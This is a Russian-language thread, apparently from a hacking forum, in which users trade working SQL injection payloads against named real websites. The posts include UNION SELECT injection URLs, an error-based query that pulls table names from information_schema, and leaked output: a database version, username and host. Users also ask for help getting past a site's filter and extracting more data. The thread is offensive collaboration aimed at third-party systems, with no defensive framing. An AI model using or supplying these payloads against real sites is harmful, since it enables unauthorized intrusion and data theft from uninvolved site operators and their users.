 |
|
02.02.2012, 16:39
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от Konqi
О.о разница в чем? он передает данные через Mетод GET, и mq включено, интерпретатор одобряет админку или как?
Зачем там мучатся с MQ, если в админке булки можно сразу сохранить другой код, чтоб всего этого не было. А с GET-ом ясно, я не это имел ввиду.
P.S. Я с UK. Сорри фор май Рашн
|
|
|
02.02.2012, 19:28
|
|
Познающий
Регистрация: 16.01.2011
Сообщений: 71
С нами:
8063606
Репутация:
-1
|
|
http://www.studyguide.ru/reading.php?id=215'+UnIOn+SeLEcT+1+--+
можно ли обойти вот такую вот фигнюшку??
|
|
|
|
02.02.2012, 19:42
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами:
8885780
Репутация:
672
|
|
Сообщение от pirat0
http://www.studyguide.ru/reading.php?id=215'+UnIOn+SeLEcT+1+--+
можно ли обойти вот такую вот фигнюшку??
проверяются вхождения в строке, врятли обойдешь
|
|
|
|
02.02.2012, 20:01
|
|
Постоянный
Регистрация: 17.09.2011
Сообщений: 390
С нами:
7712246
Репутация:
23
|
|
Сообщение от pirat0
http://www.studyguide.ru/reading.php?id=215'+UnIOn+SeLEcT+1+--+
можно ли обойти вот такую вот фигнюшку??
Не слушай никого, все выводится
5.0.51a-24+lenny5:a28161_studyguid:a14801@localhost:debian-linux-gnu
|
|
|
|
02.02.2012, 20:11
|
|
Постоянный
Регистрация: 25.04.2011
Сообщений: 505
С нами:
7921046
Репутация:
53
|
|
Сообщение от pirat0
http://www.studyguide.ru/reading.php?id=215'+UnIOn+SeLEcT+1+--+
можно ли обойти вот такую вот фигнюшку??
http://www.studyguide.ru/library.php
?search=2
&form[name]=-1'+union+select+1,2,version(),4,5,6,7,8,9,0,1,2,3, 4,5--+
&form[word]=
Сообщение от er9j6@
Не слушай никого, все выводится
5.0.51a-24+lenny5:a28161_studyguid:a14801@localhost:debian-linux-gnu
Интересно бы саму скуль увидеть или метод.
|
|
|
|
02.02.2012, 22:34
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
Подскажите как можно дальше вывесли какие либо данные
Сообщение от None
http://www.indexcopernicus.com/info.php?id=6)+union+select+1,2,3,4--+
|
|
|
|
02.02.2012, 23:01
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от qaz
Подскажите как можно дальше вывесли какие либо данные
Error-based:
Код:
http://www.indexcopernicus.com/info.php?id=6)+and(select+1+from(select+count(*),concat((select+concat(table_name,0x00)+from+information_schema.tables+limit+20,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+f
Result:
Код:
Duplicate entry 'users' for key 1
|
|
|
|
03.02.2012, 02:05
|
|
Постоянный
Регистрация: 02.02.2011
Сообщений: 727
С нами:
8039126
Репутация:
-6
|
|
|
|
|
|
03.02.2012, 02:11
|
|
Участник форума
Регистрация: 01.12.2011
Сообщений: 120
С нами:
7604246
Репутация:
55
|
|
tamper data
|
|
|
|
03.02.2012, 02:14
|
|
Постоянный
Регистрация: 02.02.2011
Сообщений: 727
С нами:
8039126
Репутация:
-6
|
|
не не тампер не пропрёт а уже всё тенкс.
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
